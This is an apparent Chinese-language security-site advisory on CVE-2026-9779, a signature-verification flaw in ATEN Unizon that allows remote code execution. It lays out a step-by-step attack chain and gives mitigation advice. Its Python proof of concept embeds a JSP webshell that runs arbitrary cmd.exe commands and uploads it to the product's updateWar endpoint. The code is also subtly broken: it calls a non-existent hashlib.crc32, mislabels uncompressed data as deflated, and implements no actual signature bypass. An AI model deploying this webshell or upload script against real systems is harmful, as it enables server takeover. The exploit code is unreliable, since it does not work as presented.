IPBUF安全漏洞报告
English
CVE-2026-9779 CVSS 7.2 高危

CVE-2026-9779 ATEN Unizon加密签名验证不当导致远程代码执行漏洞

披露日期: 2026-06-24

漏洞信息

漏洞编号
CVE-2026-9779
漏洞类型
加密签名验证不当/远程代码执行
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
ATEN Unizon

相关标签

远程代码执行RCE加密签名验证不当ATEN UnizonZDIZDI-CAN-28590ZDI-26-383SYSTEM权限高危漏洞CWE-347

漏洞概述

CVE-2026-9779是ATEN Unizon软件中存在的一个高危安全漏洞,CVSS评分为7.2分。该漏洞源于doCryptoHugeFileToFile函数中加密签名验证的实现存在缺陷,攻击者可利用该漏洞在受影响系统上执行任意代码。ATEN Unizon是ATEN公司推出的集中管理平台,主要用于数据中心和IT基础设施的集中监控与管理。该漏洞由Trend Micro的零日计划(ZDI)发现并报告,编号为ZDI-CAN-28590,对应的ZDI公告编号为ZDI-26-383。

该漏洞的影响范围较为严重,成功利用后攻击者可以在SYSTEM权限下执行任意代码,完全控制受影响的系统。由于漏洞利用需要高权限认证(PR:H),这在一定程度上限制了攻击面,但一旦攻击者获得了合法凭证,便可轻松利用此漏洞实现权限提升和系统接管。漏洞的机密性、完整性和可用性影响均为高(C:H/I:H/A:H),表明该漏洞具有极强的破坏力,可能导致敏感数据泄露、系统被篡改以及服务中断等严重后果。

该漏洞的披露日期为2026年6月24日,ATEN公司已在官方安全公告中提供了相应的修复建议。用户应及时关注厂商发布的安全补丁,并尽快将系统升级到修复后的版本,以消除安全隐患。

技术细节

该漏洞的核心问题存在于ATEN Unizon的updateWar方法中,具体涉及doCryptoHugeFileToFile函数的加密签名验证逻辑。漏洞的根本原因是加密签名验证的实现不正确(Improper Verification of Cryptographic Signature),这意味着系统在验证更新包或相关文件的数字签名时存在缺陷,未能充分验证签名的合法性。

从技术层面分析,正常的加密签名验证流程应当包括:使用受信任的公钥验证签名、检查签名算法是否安全、确保签名覆盖了完整的数据内容等。当签名验证实现存在缺陷时,攻击者可以构造包含恶意代码的WAR(Web Application Archive)文件,并绕过签名验证机制,将其上传到目标系统。

攻击者利用该漏洞的具体步骤如下:首先,攻击者需要获取有效的认证凭证(高权限账户);然后,构造一个包含恶意负载的WAR文件,该文件会被上传到系统的更新流程中;接着,利用updateWar方法中签名验证的缺陷,绕过安全检查;最终,恶意WAR文件被部署并执行,攻击者获得SYSTEM权限的代码执行能力。

由于该漏洞允许以SYSTEM权限执行任意代码,攻击者可以完全控制系统,包括安装后门、窃取敏感数据、修改系统配置、传播恶意软件等。该漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需用户交互(UI:N),但需要高权限认证(PR:H)。

攻击链分析

STEP 1
步骤1:获取认证凭证
攻击者首先通过钓鱼、暴力破解或利用其他漏洞获取ATEN Unizon的高权限账户凭证。由于漏洞利用需要高权限认证(PR:H),这是攻击的前提条件。
STEP 2
步骤2:分析签名验证缺陷
攻击者逆向分析doCryptoHugeFileToFile函数和updateWar方法,发现加密签名验证逻辑存在实现缺陷,可能未正确验证签名或使用了弱加密算法。
STEP 3
步骤3:构造恶意WAR文件
攻击者构造包含恶意代码(如WebShell或反向Shell)的WAR文件,并利用签名验证缺陷伪造或绕过数字签名,使恶意文件通过安全检查。
STEP 4
步骤4:上传恶意更新包
通过认证会话,攻击者调用updateWar方法将恶意WAR文件上传到ATEN Unizon系统。由于签名验证不当,恶意文件被系统接受。
STEP 5
步骤5:执行任意代码
恶意WAR文件被部署并执行,攻击者获得SYSTEM权限的代码执行能力,可完全控制受影响的ATEN Unizon服务器。
STEP 6
步骤6:持久化与横向移动
攻击者在系统中安装后门,窃取敏感数据,并利用受控服务器作为跳板进行网络内部的横向移动,进一步扩大攻击范围。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-9779 - ATEN Unizon RCE via Improper Cryptographic Signature Verification # PoC demonstrating the exploitation concept of the updateWar method flaw # Original advisory: ZDI-CAN-28590 / ZDI-26-383 import requests import struct import hashlib TARGET_URL = "https://target-aten-unizon:8443" AUTH_TOKEN = "authenticated_session_token_here" # Requires high-privilege credentials def craft_malicious_war(): """ Craft a malicious WAR file that bypasses the flawed signature verification in doCryptoHugeFileToFile / updateWar method. The vulnerability stems from incorrect cryptographic signature verification implementation, allowing crafted payloads to pass validation. """ # JSP webshell payload to be deployed as a WAR archive webshell_content = b"""<%@ page import="java.util.*,java.io.*" %> <% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd}); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { out.println(line); } } %>""" # Build minimal WAR file structure (simplified) war_data = b'PK\x03\x04' # ZIP local file header magic war_data += b'\x14\x00' # Version needed war_data += b'\x00\x00' # General purpose bit flag war_data += b'\x08\x00' # Compression method (deflate) war_data += b'\x00\x00' # Last mod file time war_data += b'\x00\x00' # Last mod file date war_data += struct.pack('<I', hashlib.crc32(webshell_content) & 0xffffffff) war_data += struct.pack('<I', len(webshell_content)) # Compressed size war_data += struct.pack('<I', len(webshell_content)) # Uncompressed size war_data += struct.pack('<H', len('cmd.jsp')) # File name length war_data += struct.pack('<H', 0) # Extra field length war_data += b'cmd.jsp' war_data += webshell_content return war_data def exploit_update_war(war_payload): """ Exploit the updateWar method by uploading a malicious WAR file. The doCryptoHugeFileToFile function fails to properly verify the cryptographic signature, allowing the malicious WAR to be accepted. """ headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/octet-stream" } # Endpoint for the updateWar method in ATEN Unizon upload_url = f"{TARGET_URL}/api/updateWar" response = requests.post( upload_url, headers=headers, data=war_payload, verify=False ) if response.status_code == 200: print("[+] WAR file uploaded successfully") print("[+] Webshell deployed at: /cmd.jsp") print(f"[+] Execute commands via: {TARGET_URL}/cmd.jsp?cmd=whoami") return True else: print(f"[-] Upload failed with status: {response.status_code}") return False if __name__ == "__main__": print("[*] CVE-2026-9779 PoC - ATEN Unizon RCE") print("[*] Requires high-privilege authentication (PR:H)") war = craft_malicious_war() exploit_update_war(war)

影响范围

ATEN Unizon(具体受影响版本请参考ATEN官方安全公告)

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制ATEN Unizon管理界面的网络访问,仅允许受信任的IP地址访问;2)禁用或限制updateWar方法的使用权限;3)部署Web应用防火墙(WAF)监控和过滤异常的WAR文件上传请求;4)启用多因素认证(MFA)以防止认证凭证被窃取后被利用;5)密切监控系统日志,及时发现可疑的更新操作和未授权的系统变更;6)考虑将ATEN Unizon部署在隔离的网络段中,减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表